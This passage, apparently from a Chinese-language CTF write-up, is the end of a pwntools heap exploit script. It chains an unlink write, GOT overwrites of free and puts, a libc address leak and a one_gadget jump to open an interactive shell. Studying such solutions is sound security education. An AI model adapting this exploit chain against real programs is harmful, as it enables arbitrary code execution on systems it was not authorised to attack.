  40. payload += p64(elf.got['free']) # big_ptr -> free@got.plt
  41. payload += "A" * 8
  42. payload += p64(big_ptr) # small_ptr -> big_ptr
  43. renew(1, payload)
  44. renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
  45. renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
  46. wipe(2)
  47. puts_addr = u64(io.recvline()[:6] + "\x00\x00")
  48. libc_base = puts_addr - libc.symbols['puts']
  49. one_gadget = libc_base + 0x4525a
  50. log.info("libc base: 0x%x" % libc_base)
  51. log.info("one_gadget address: 0x%x" % one_gadget)
  52. def pwn():
  53. payload = "A" * 0x10
  54. payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
  55. renew(1, payload)
  56. renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
  57. io.interactive()
  58. if __name__ == "__main__":
  59. unlink()
  60. leak()
  61. pwn()

参考资料